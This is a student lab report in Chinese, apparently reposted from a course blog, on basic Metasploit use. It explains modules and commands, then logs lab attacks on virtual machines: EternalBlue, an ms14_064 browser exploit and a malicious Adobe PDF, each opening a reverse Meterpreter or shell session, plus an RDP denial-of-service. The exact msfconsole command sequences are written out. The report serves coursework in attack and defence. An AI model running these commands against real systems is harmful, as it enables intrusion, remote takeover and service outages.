zoukankan      html  css  js  c++  java
  • 2018-2019-2 20165335『网络对抗技术』Exp5:MSF基础应用

        主动攻击的实践: ms17_010(成功)

        浏览器攻击的实践:ms14_064(成功)

        客户端攻击的实践:adobe reader PDF的攻击(成功)

        运用辅助模块的实践:VNC弱口令破解/绕过(失败)RDP远程桌面漏洞(成功 )使用  wmap扫描(唯一)

    一.msf的基本组成以及常用的指令介绍

    msf的基本模块以及构成

    在kali中msf的所在路径为usr/share/metasploit-framework/,在目录下有数据库文件,模块以及其他的msf组件 msfupdate可以更新版本

    exploits模块:实现系统漏洞进行攻击得操作:

    使用cat指令,可以看具体的代码(cat 漏洞名)

    exploit相当于是一个攻击得流程,利用漏洞,而payload是实际在机器中执行得指令/代码。

    payload中有三类:

    single中放着的是要执行得所有的payload都放在single中

    stager计算机内存有限的时候,放一个较小得建立连接的

    stages用stager建立连接后,下载后续payload

    Auxiliary模块:提供辅助功能,信息搜集,指纹探测扫描等模块其中,encoders模块用于编码,加密,躲避检查

    在msfconsole的用户接口下:

    connect命令,可以实现监听,建立UDP,TCP连接的功能,并支持SSL协议

    show命令,查看msf提供的那些功能,可以实现些什么 

          show option:查看配置信息

    search命令可以使用关键词搜索要使用得模块,代码等,也可以在某一个范围中进行搜索,可以根据反馈得路径找到我们想要的模块c,比如search cve:

          2015可以搜索2015年的漏洞,可以方便定位我们想要的模块

    info可以查看基本信息,可以看到关于该漏洞得详细说明,使用目标

    check命令可以看目标机器是否存在这个漏洞

     db_namp IP命令可以实现对目标IP的一个扫描,扫描的结果和nmap相同,扫描后的结果都保存在数据库database.yml中(hosts,services,vulns等查看数据库中的信息)

    set指令设置选项 unset取消当前的设置

    运行该模块得指令:run exploit

    sessions指令可以看到当前已经建立的连接,拿到shell,-i参数可以进入shell

    load指令可以使用外部的插件,像什么openvas,Nessus(漏洞扫描)什么的都可以使用

    loadpath可以运行我们自己指定得目录下的模块,可以将外部的模块考进来,然后载入运行就可以了

    route指令可以指定session路由路线,去攻击内网中的其他机器

    meterpreter 一种特殊的shell,相比于一般的命令行的shell,可以做到更多的事情,完成更多的事情,避免作更多的手工操作,方便后渗透测试,有些是完全基于dll写的,注入系统合法进程,不写在硬盘中。

    二.实践过程记录:

     攻击客户端的实践:在win sp3环境下使用 exploit/windows/fileformat/adobe_utilprintf 模块:

    首先,先配置模块需要的参数,设置完成后运行:

    use exploit/windows/fileformat/adobe_utilprintfset payload meterpreter/reverse_tcp 
    set RHOSTS 192.168.171.143
    run  

     

    在设立监听的模块:

    最后,将生成的PDF文件放到目标机器中运行:

    ...卡住了,好吧,不过还是运行起来了。

    在查看主机情况,发现获得shell

    辅助模块应用:

    VNC弱口令破解

       scanner/vnc/vnc_none_auth模块用于查看是否能够绕过口令直接进入系统

    扫描并没有发现有漏洞:

      RDP远程桌面漏洞

     使用dos/windows/rdp/ms12_020_maxchannelids模块可以利用RDP漏洞进行dos攻击:

     先要打开,打开允许远程桌面的服务:

    使用模块scanner/rdp/ms12_020_check扫描主机是否有漏洞:

    那么试试利用执行模块攻击下试试:

    系统存在该漏洞,并能够施行dos拒绝服务攻击。

    WMAP模块的使用:

      先加载插件:load wamp

      在使用 wmap_sites -a 设定扫描的目标

      使用wmap_targets 设置目标:

       wmap_run -h列举一下模块

      wmap_run -t 运行

     攻击浏览器的实践:windows/browser/ms14_064_ole_code_execution模块实现浏览器攻击:

    先使用模块并配置模块:

    nmap --script=vuln 192.168.171.143 
    use windows/browser/ms14_064_ole_code_execution
    set payload windows/meterpreter/reverse_tcp 
    set LHOST 192.168.171.142
    run   

      然后目标机器打开网站:

      然后获得shell,连接成功:

     主动攻击:windows/smb/ms17_010_eternalblue模块攻击win7 虚拟机

    nmap --script=vuln 192.168.171.143 扫描漏洞
    use exploit/windows/smb/ms17_010_eternalblue    
    set payload generic/shell_reverse_tcp 
    set LHOST 192.168.171.142
    set RHOSTS 192.168.171.143
    run            

     三.基础问题回答与实践体会:

     用自己的话解释什么是exploit,payload,encode

      exploit:实现系统漏洞攻击,负责将payload的代码送到受控主机上

      payload:实际干坏事的部分

      encode:编码,防止干坏事被发现,做到免杀等

     实践总结与体会:

      发现要攻击一台主机,首先是要保证漏洞没有被打补丁,,这就需要保证使用的漏洞比较新,再有就是感觉的基础知识的不足,在实践过程中,发现很多的模块像SMB,SSH,就看不懂到底是一个什么样的过程,有很多的车扫描知识nmap,sniffner,这些都是学过的东西,然而由于学的很菜,实际应用上就出了很多问题,还是要不断学习吧。

    四,距离实战的距离:

      首先就是基础知识不足,很多知识不了解就很难受,现在只会用一些最基础,最简单的内容,很low,实用性也很差,使用的模块都是多年以前的,需要补充新知识。

      还有就是后渗透测试的不完善,我们可以进入一台主机后,做的事情太简单,,可以控制主机做很多事情扩大战果,并没有做到更深入的渗透,我们对攻击后的痕迹处理也不完善,说白了....还是太菜的缘故....

  • 相关阅读:
    如何解决移动端滚动穿透问题
    如何在mac中通过命令行使用sublime
    正向代理和反向代理
    UTF8、UTF16、UTF16-LE、UTF16-BE、UTF32都是些什么?
    依赖的版本
    如何移除inline-block元素之间的空白
    如何用JavaScript重定向到另一个网页?
    [读书笔记] 高性能网站建设指南
    java使用jconsole查看java程序运行(jmx原理)
    oracle相关知识点
  • 原文地址:https://www.cnblogs.com/x20165335/p/10682561.html
Copyright © 2011-2022 走看看